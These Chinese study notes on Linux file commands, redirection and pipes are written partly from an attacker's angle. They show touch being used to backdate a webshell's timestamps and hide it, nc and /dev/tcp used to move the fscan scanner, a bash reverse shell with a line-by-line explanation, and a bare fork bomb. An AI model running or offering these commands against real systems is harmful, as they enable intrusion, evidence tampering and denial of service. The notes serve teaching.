文件管理命令
stat命令
查看文件状态
每个文件有三个时间戳:
access time 访问时间,atime,读取文件内容
modify time 修性时间,mtime,改变文件内容
change time 改变时间,ctime,元数据发生改变
[root@controller ~]# stat /etc/passwd
文件:"/etc/passwd"
大小:1366 块:8 IO 块:4096 普通文件
设备:fd00h/64768d Inode:33577573 硬链接:1
权限:(0644/-rw-r--r--) Uid:( 0/ root) Gid:( 0/ root)
环境:system_u:object_r:passwd_file_t:s0
最近访问:2021-07-10 02:24:21.759473069 -0400
最近更改:2021-06-14 07:47:23.549736484 -0400
最近改动:2021-06-14 07:47:23.551743477 -0400
创建时间:-
场景是:上传了WebShell,避免被find命令通过时间查找出来
touch命令
Ø -a 仅改变atime和ctime
Ø -m 仅改变mtime和ctime
Ø -t 指定atime和mtime时间
touch -a -m -t 202106140747.23 /etc/passwd
[root@controller test]# stat /etc/passwd
文件:"/etc/passwd"
大小:1407 块:8 IO 块:4096 普通文件
设备:fd00h/64768d Inode:34244202 硬链接:1
权限:(0644/-rw-r--r--) Uid:( 0/ root) Gid:( 0/ root)
环境:system_u:object_r:passwd_file_t:s0
最近访问:2021-06-14 07:47:23.000000000 -0400
最近更改:2021-06-14 07:47:23.000000000 -0400
最近改动:2021-07-10 03:13:57.488189512 -0400
创建时间:-
rename命令
#为所有conf文件加上.bak后缀
rename 'conf' 'conf.bak' *.conf
#去掉所有bak后缀
rename '.bak' '' *.bak
删除文件
rm删除文件可被恢复
可使用shred删除文件无法恢复
shred -zvun 5 pass.txt
-z #最后一次覆盖添加0,以隐藏覆盖操作
-v #显示操作进度
-u #覆盖后截断并删除文件
-n #指定覆盖文件内容的次数
rm误删除可以通过extundelete软件恢复,只支持ext4文件系统进行数据恢复
硬链接、软链接
#创建硬链接
ln /tmp/passwd /tmp/passwdtest
#创建软链接
ln -s /tmp/passwd /tmp/passwdtest
硬链接和软链接的区别:
硬链接本质上就是给文件起一个新的名字,实质是同一个文件
软链接本质上不是同一个文件
业务场景:/var/www/php1 -> /usr/local/php_v1.1 , 当发布新版本时,在不更改配置文件的情况下,将软链接指定到其它的版本中;
IO重定向
一个 Linux 进程可以打开成百上千个文件,为了表示和区分已经打开的文件,Linux 会给每个文件分配一个编号(一个 ID),这个编号就是一个整数,被称为文件描述符(File Descriptor)。
标准输入和输出
Linux提供了三种I/O设备:
[root@controller ~]# ll /dev/std*
lrwxrwxrwx 1 root root 15 7月 10 11:36 /dev/stderr -> /proc/self/fd/2
lrwxrwxrwx 1 root root 15 7月 10 11:36 /dev/stdin -> /proc/self/fd/0
lrwxrwxrwx 1 root root 15 7月 10 11:36 /dev/stdout -> /proc/self/fd/1
输出重定向是指命令的结果不再输出到终端上,而是输出到其它地方,一般是文件中。这样做的最大好处就是把命令的结果保存起来
1> 或 > 把标准输出重定向到文件
2> 把标准错输出重定向到文件1
& 把STDOUT、STDERR都重定向,建议使用上面方式
以上重定向如果文件存在则文件内容会被覆盖
set -C 禁止将内容覆盖,但可追加,利用 >| 仍可强制覆盖
set +C 允许覆盖
>> 追加标准输出重定向至文件
2>> 追加标准错误重定向
合并标准输出和错误输出为同一个数据流进行重定向
#清除大文件
cat /dev/null > /tmp/passwd
#分别重定向
ls /data/ /xxx > stdout.log 2> stderror.log
#将/etc/issue中的小写都转换为大写
tr 'a-z' 'A-Z' < /etc/issue
#删除某个文件中所有abc字符
tr -d abc < /etc/fstab
#删除空格
df > df.log
tr -s ' ' < df.log
#删除Windows文件中的
tr -d '\r' < windows.txt > windows2.txt
#传输工具
nc -lvp 999 < fscan
cat < /dev/tcp/(IP)/(PORT) > fscan
反弹Shell
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
反弹Shell本质是把bash进程的 0 1 2 输入输出重定向到远程socket,由socket中获取输入,重定向标准输出(1)和错误输出(2)到socket。
bash -i
Bash是linux较为常见的Shell,除此之外,还有zsh、sh、ksh等等,
>&
混合输出,将正确、错误都输出到一个地方,避免受害者机器上能看到在攻击者机器中执行的指令。
/dev/tcp/ip/port
Linux下一切皆文件,可以看成是一个设备文件,这个文件进行读写,就能实现与监听端口的服务器Socket通信。
0>&1
0表示输入,就将Attack输入,然后命令执行的结果为1,也会输出给攻击者,就形成了一个回路,实现了远程交互式Shell
管道符
Shell 还有一种功能,就是可以将两个或者多个命令(程序或者进程)连接到一起,把一个命令的输出作为下一个命令的输入,以这种方式连接的两个或者多个命令就形成了管道(pipe)。
Linux 管道使用竖线|连接多个命令,这被称为管道符。
cat /etc/passwd|grep root
当在两个命令设置管道时,管道符 | 左边命令的输出就变成了右边命令的输入,Linux大部分命令都可以用来形成管道;
重定向和管道的区别?
重定向操作符 “>” 将命令与文件连接起来
而管道符 “|” 将命令与命令连接起来
例如在无交换式的情况下添加root帐号密码;
#无交互设置密码
cat pass.txt | passwd --stdin ccav1
echo "ccide:password" |chpasswd
Tips:
遇到不懂的命令怎么办?
:(){ :|:& };:
可以通过这个网站解析语法:https://www.explainshell.com/